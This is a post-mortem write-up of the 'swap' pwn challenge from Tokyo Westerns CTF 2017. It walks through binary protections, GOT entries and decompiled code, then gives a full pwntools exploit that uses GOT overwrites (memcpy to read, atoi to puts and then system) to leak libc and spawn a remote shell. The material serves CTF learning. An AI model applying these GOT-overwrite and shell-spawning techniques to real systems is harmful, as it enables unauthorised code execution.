swap
swap - tokyo westerns ctf 3rd 2017
The swapping is interesting. Let’s try!
nc pwn1.chal.ctf.westerns.tokyo 19937
this is a post-mortem writeup i worked on the problem during the ctf but did not solve it in time. i read this solution and wrote my own exploit.
it looks like that we can actually attempt swap values at any given location in memory. how cool, this is like demolition in a binary form.
$ checksec swap
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
$ nc pwn1.chal.ctf.westerns.tokyo 19937
<pause>
==============================================
1. Set addrsses
2. Swap both addrress of value
0. Exit
Your choice:
1
Please input 1st addr
0xffffff
Please input 2nd addr
0xfefefe
==============================================
1. Set addrsses
2. Swap both addrress of value
0. Exit
Your choice:
2
<exit>
we’re given a 64bit binary! i checked the memory map and readelf to see which addresses were static & readable/writable we know ASLR is enabled.
memory map
Start Perm Path
0x0000000000400000 r-x swap
0x0000000000600000 r-- swap
0x0000000000601000 rw- swap
0x00007f8ccce3c000 r-x libc.so.6
0x00007f8cccffc000 --- libc.so.6
0x00007f8ccd1fc000 r-- libc.so.6
0x00007f8ccd200000 rw- libc.so.6
0x00007f8ccd202000 rw-
0x00007f8ccd206000 r-x /lib/x86_64-linux-gnu/ld-2.23.so
0x00007f8ccd426000 rw-
0x00007f8ccd42b000 r-- /lib/x86_64-linux-gnu/ld-2.23.so
0x00007f8ccd42c000 rw- /lib/x86_64-linux-gnu/ld-2.23.so
0x00007f8ccd42d000 rw-
0x00007ffd5081d000 rw- [stack]
0x00007ffd508b6000 r-- [vvar]
0x00007ffd508b8000 r-x [vdso]
0xffffffffff600000 r-x [vsyscall]
gef➤ dereference 0x0000000000601000 10
0x0000000000601000│+0x00: 0x0000000000600e28 → 0x01
0x0000000000601008│+0x08: 0x00007f8ccd42d168 → 0x00
0x0000000000601010│+0x10: 0x00007f8ccd21d6a0 → 0x7f8ccd21d6a0 <_dl_runtime_resolve_avx+0> push rbx
0x0000000000601018│+0x18: 0x00007f8ccceab690 → 0x7f8ccceab690 <puts+0> push r12
0x0000000000601020│+0x20: 0x00000000004006c6 → 0xffd0e90000000168
0x0000000000601028│+0x28: 0x00007f8cccf33220 → 0x7f8cccf33220 <read+0> cmp DWORD PTR [rip+0x2d2519], 0x0 # 0x7f8ccd205740
0x0000000000601030│+0x30: 0x00007f8ccce5c740 → 0x7f8ccce5c740 <__libc_start_main+0> push r14
0x0000000000601038│+0x38: 0x00000000004006f6 → 0xffa0e90000000468
0x0000000000601040│+0x40: 0x0000000000400706 → 0xff90e90000000568
0x0000000000601048│+0x48: 0x00007f8ccceabe70 → 0x7f8ccceabe70 <setvbuf+0> push rbp
relocations table
Relocation section '.rela.dyn' at offset 0x530 contains 4 entries:
Offset Type Sym. Name + Addend
000000600ff8 R_X86_64_GLOB_DAT __gmon_start__ + 0
000000601080 R_X86_64_COPY stdout@GLIBC_2.2.5 + 0
000000601090 R_X86_64_COPY stdin@GLIBC_2.2.5 + 0
0000006010a0 R_X86_64_COPY stderr@GLIBC_2.2.5 + 0
Relocation section '.rela.plt' at offset 0x590 contains 10 entries:
Offset Type Sym. Name + Addend
000000601018 R_X86_64_JUMP_SLO puts@GLIBC_2.2.5 + 0
000000601020 R_X86_64_JUMP_SLO __stack_chk_fail@GLIBC_2.4 + 0
000000601028 R_X86_64_JUMP_SLO read@GLIBC_2.2.5 + 0
000000601030 R_X86_64_JUMP_SLO __libc_start_main@GLIBC_2.2.5 + 0
000000601038 R_X86_64_JUMP_SLO atoll@GLIBC_2.2.5 + 0
000000601040 R_X86_64_JUMP_SLO memcpy@GLIBC_2.14 + 0
000000601048 R_X86_64_JUMP_SLO setvbuf@GLIBC_2.2.5 + 0
000000601050 R_X86_64_JUMP_SLO atoi@GLIBC_2.2.5 + 0
000000601058 R_X86_64_JUMP_SLO exit@GLIBC_2.2.5 + 0
000000601060 R_X86_64_JUMP_SLO sleep@GLIBC_2.2.5 + 0
----- # took this info to gdb:
gef➤ x/xg 0x601028
0x601028: 0x00007f4b79dc7220 <--- read
gef➤ x/xg 0x601040
0x601040: 0x0000000000400706 <--- memcpy
gef➤ p/d 0x601028
$1 = 6295592 <--- read
gef➤ p/d 0x601040
$2 = 6295616 <--- memcpy
we also need to know which addresses effect control of execution, we know the stack does but its randomized. the relocations section effects execution, this includes both the global offset table (GOT) and the program linkage table (PLT). and they’re both at static addresses without the program independant executable (PIE) protection. one thing i noticed that i felt was of note is that memcpy and exit have static addresses in their got entries. the rest of the entries in the got seem like randomized addresses:
gef➤ dereference 0x0000000000601000 10
0x0000000000601000│+0x00: 0x0000000000600e28 → 0x01
0x0000000000601008│+0x08: 0x00007f8ccd42d168 → 0x00
0x0000000000601010│+0x10: 0x00007f8ccd21d6a0 → 0x7f8ccd21d6a0 <_dl_runtime_resolve_avx+0> push rbx
0x0000000000601018│+0x18: 0x00007f8ccceab690 → 0x7f8ccceab690 <puts+0> push r12
0x0000000000601020│+0x20: 0x00000000004006c6 → 0xffd0e90000000168
0x0000000000601028│+0x28: 0x00007f8cccf33220 → 0x7f8cccf33220 <read+0> cmp DWORD PTR [rip+0x2d2519], 0x0 # 0x7f8ccd205740
0x0000000000601030│+0x30: 0x00007f8ccce5c740 → 0x7f8ccce5c740 <__libc_start_main+0> push r14
0x0000000000601038│+0x38: 0x00000000004006f6 → 0xffa0e90000000468
0x0000000000601040│+0x40: 0x0000000000400706 → 0xff90e90000000568
0x0000000000601048│+0x48: 0x00007f8ccceabe70 → 0x7f8ccceabe70 <setvbuf+0> push rbp
gef➤ p/x &puts
$3 = 0x7f8ccceab690
gef➤ x/2g 0x000000601018
0x601018: 0x00007f8ccceab690 0x00000000004006c6
gef➤ p/d 0x601018
$4 = 6295576
checking the binary protections in place:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
since the binary has just partial relro enabled the non-PLT GOT is read-only but the GOT is still writable. i went ahead and decompiled the main parts of the program:
//----- (00000000004009D7) ----------------------------------------------------
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // eax@2
void *src; // [sp+20h] [bp-20h]@0
void *v5; // [sp+28h] [bp-18h]@0
char dest; // [sp+30h] [bp-10h]@7
__int64 v7; // [sp+38h] [bp-8h]@1
v7 = *MK_FP(__FS__, 40LL);
initialize();
while ( 1 )
{
while ( 1 )
{
print_menu();
v3 = read_int();
if ( v3 != 1 )
break;
puts("Please input 1st addr");
src = (void *)read_ll(); // reads 8 byte addr into src
puts("Please input 2nd addr");
v5 = (void *)read_ll(); // reads 8 byte addr into v5
}
if ( v3 == 2 )
{
memcpy(&dest, src, 8uLL);
memcpy(src, v5, 8uLL);
memcpy(v5, &dest, 8uLL);
}
else if ( !v3 )
{
puts("Bye.");
exit(0);
}
}
}
//----- (00000000004008C6) ----------------------------------------------------
__int64 read_int()
{
__int64 result; // rax@1
__int64 v1; // rcx@1
char buf; // [sp+10h] [bp-90h]@1
__int64 v3; // [sp+98h] [bp-8h]@1
v3 = *MK_FP(__FS__, 40LL);
read(0, &buf, 0x10uLL);
result = atoi(&buf);
v1 = *MK_FP(__FS__, 40LL) ^ v3;
return result;
}
//----- (0000000000400933) ----------------------------------------------------
__int64 read_ll()
{
__int64 result; // rax@1
__int64 v1; // rcx@1
char buf; // [sp+10h] [bp-110h]@1
__int64 v3; // [sp+118h] [bp-8h]@1
v3 = *MK_FP(__FS__, 40LL);
read(0, &buf, 0x20uLL);
result = atoll(&buf);
v1 = *MK_FP(__FS__, 40LL) ^ v3;
return result;
}
i had to think through what would happen by replacing memcpy with read, there are three calls to read but the second one is where we’ve got the most control. assuming we enter “0” for the first input and some destination write address for the second input; the first call would result in a non-fatal error which there are no checks for since our destination buffer would be null, the second call would result in our intended write, and the third call would also result in a non-fatal error. this is all according to the man page which specifies the errno values it returns:
EBADF fd is not a valid file descriptor or is not open for reading.
EFAULT buf is outside your accessible address space
so the plan would be to swap memcpy for read since they take the same type arguments and then we have an arbitrary write primitive. with that we can overwrite atoi with puts and leak memory off the stack, looking at read_int:
int main() {
while ( 1 )
{
print_menu();
v3 = read_int();
// ...
}
__int64 read_int() {
__int64 result; // rax@1
__int64 v1; // rcx@1
char buf; // [sp+10h] [bp-90h]@1
__int64 v3; // [sp+98h] [bp-8h]@1
v3 = *MK_FP(__FS__, 40LL);
read(0, &buf, 0x10uLL);
result = atoi(&buf);
v1 = *MK_FP(__FS__, 40LL) ^ v3;
return result;
}
and the stack when we call atoi with the selection “1”:
$rsi : 0x00007fffec828cb0 → 0x00007f95c4dd1631 → 0xa300007f95c4dd16
$rdi : 0x00007fffec828cb0 → 0x00007f95c4dd1631 → 0xa300007f95c4dd16
$rip : 0x0000000000400908 → <read_int+66> call 0x400720 <atoi@plt>
$r8 : 0x00007f95c4ff7700 → 0x00007f95c4ff7700 → [loop detected]
$r9 : 0x1999999999999999
$r10 : 0x0000000000000000
$r11 : 0x0000000000000246
$r12 : 0x0000000000400760 → <_start+0> xor ebp, ebp
$r13 : 0x00007fffec828e70 → 0x0000000000000001
$r14 : 0x0000000000000000
$r15 : 0x0000000000000000
$cs : 0x0000000000000033
$ss : 0x000000000000002b
$ds : 0x0000000000000000
$es : 0x0000000000000000
$fs : 0x0000000000000000
$gs : 0x0000000000000000
$eflags: [CARRY PARITY adjust zero sign trap INTERRUPT direction overflow resume virtualx86 identification]
──────────────────────────────────────[ stack ]───
0x00007fffec828ca0│+0x00: 0x00007f95c4dd1620 → 0x00000000fbad2887 ← $rsp
0x00007fffec828ca8│+0x08: 0x0000000000000001
0x00007fffec828cb0│+0x10: 0x00007f95c4dd1631 → 0xa300007f95c4dd16 ← $rax, $rsi, $rdi
0x00007fffec828cb8│+0x18: 0x00007fffec828e70 → 0x0000000000000001
0x00007fffec828cc0│+0x20: 0x0000000000000000
0x00007fffec828cc8│+0x28: 0x00007f95c4a86409 → <_IO_do_write+121> mov r13, rax
0x00007fffec828cd0│+0x30: 0x000000000000000d
─────────────────────────────────────────────────────────────────[ code:i386:x86-64 ]────
0x4008ef <read_int+41> mov edi, 0x0
0x4008f4 <read_int+46> mov eax, 0x0
0x4008f9 <read_int+51> call 0x4006d0 <read@plt>
0x4008fe <read_int+56> lea rax, [rbp-0x90]
0x400905 <read_int+63> mov rdi, rax
→ 0x400908 <read_int+66> call 0x400720 <atoi@plt>
↳ 0x400720 <atoi@plt+0> jmp QWORD PTR [rip+0x20092a] # 0x601050
0x400726 <atoi@plt+6> push 0x7
0x40072b <atoi@plt+11> jmp 0x4006a0
0x400730 <exit@plt+0> jmp QWORD PTR [rip+0x200922] # 0x601058
0x400736 <exit@plt+6> push 0x8
0x40073b <exit@plt+11> jmp 0x4006a0
────────────────────────────────────[ threads ]───
[#0] Id 1, Name: "swap-b878cc5ecf", stopped, reason: BREAKPOINT
libc address
Start End Offset Perm Path
0x00007f95c4a0c000 0x00007f95c4bcc000 0x0000000000000000 r-x libc.so.6
notice the libc address that ends in 0x31 (‘1’) where $rax, $rsi and $rdi point to. you might be wondering why this would ever work as the string we’ve entered is not ending in a null byte. atoi actually only pays attention to characters between ‘0’ and ‘9’, anything can come afterwards and it will ignore it, so atoi only actually sees the 0x31 and disregards the following characters, puts will leak the rest of these bytes to us though. :)
we must however consider that after overwriting atoi we potentially cripple our menu because atoi returned the menu option selected. we can however keep our write primitive in tact by abusing the return value of puts, puts returns the number of bytes printed so if we insert null bytes at the right place we can keep using the menu to finish our exploit .
from here we can calculate the offset of system in our libc and replace atoi with system, since they both take our string as input we can directly pass system “sh\x00” and get our shell!
$ python pwn-swap.py remote vagrant@vagrant
[*] For remote: pwn-swap.py HOST PORT
[+] Opening connection to pwn1.chal.ctf.westerns.tokyo on port 19937: Done
[*] addr1: 6295616
[*] addr2: 6295592
[*] addr1: 0
[*] addr2: 6295632
[*] libc leak: 0x00007efe71229000
[*] writing system to atoi; 0x00007efe7126e390
[*] Switching to interactive mode
1
==============================================
1. Set addrsses
2. Swap both addrress of value
0. Exit
Your choice:
$ pwd
/home/p19937
$ ls -l
total 20
-rw-r----- 1 root p19937 32 Sep 1 19:07 flag
-rwxr-x--- 1 root p19937 59 Sep 2 00:31 launch.sh
-rwxr-x--- 1 root p19937 9288 Sep 1 19:07 swap
$ cat flag
TWCTF{SWAP_SAWP_WASP_PWAS_SWPA}
$
[*] Closed connection to pwn1.chal.ctf.westerns.tokyo port 19937
full exploit code:
#!/usr/bin/python
# pwn swap
# clampz
import sys
from pwn import *
bin_name = './swap-b878cc5ecf612cee902acdc91054486bb4cb3bb337a0cfbaf903ba8d35cfcd17'
host = 'pwn1.chal.ctf.westerns.tokyo'
port = 19937
#b *0x00400a58
#b *0x00400a70
#b *0x00400a88
script = """
b *0x00400908
c
"""
puts_got = 0x601018
puts_plt = 0x4006b6
read_got = 0x601028
memcpy_got = 0x601040
atoi_got = 0x601050
system_offset = 283536
def set_addrs(addr1, addr2):
r.recvuntil("Your choice: \n")
r.sendline("1")
r.recvuntil("1st addr\n")
log.info("addr1: {}".format(addr1))
r.sendline(addr1)
r.recvuntil("2nd addr\n")
log.info("addr2: {}".format(addr2))
r.sendline(addr2)
def swap():
r.recvuntil("Your choice: \n")
r.send("2")
def exploit():
# overwrite memcpy w read
set_addrs(str(memcpy_got), str(read_got))
swap()
# overwrite atoi w puts
set_addrs(str(0), str(atoi_got))
swap()
r.send_raw( p64(puts_plt) )
# leak libc
r.recvuntil("choice: \n")
r.send_raw("1")
libc = u64(r.recvuntil("choice: \n")[0:6].ljust(8,'\x00')) - 3954225
log.info("libc leak: 0x{}".format(p64(libc)[::-1].encode('hex')))
# gotta set addrs manually now - overwrite atoi w system
r.send_raw("\x00")
r.recvuntil("1st addr\n")
r.send_raw("0")
r.recvuntil("2nd addr\n")
r.send_raw(str(atoi_got))
r.recvuntil("Your choice: \n")
r.send("1\x00")
log.info("writing system to atoi; 0x{}".format(p64( libc + system_offset )[::-1].encode('hex')))
r.send_raw( p64( libc + system_offset ) )
r.send_raw( 'sh\x00' )
r.interactive()
if __name__ == "__main__":
log.info("For remote: %s HOST PORT" % sys.argv[0])
if len(sys.argv) > 1:
r = remote(host, port)
exploit()
else:
r = process([bin_name], env={"LD_PRELOAD":"./libc.so.6-4cd1a422a9aafcdcb1931ac8c47336384554727f57a02c59806053a4693f1c71"})
log.info("PID: {}".format(util.proc.pidof(r)))
# gdb.attach(r, gdbscript=script)
exploit()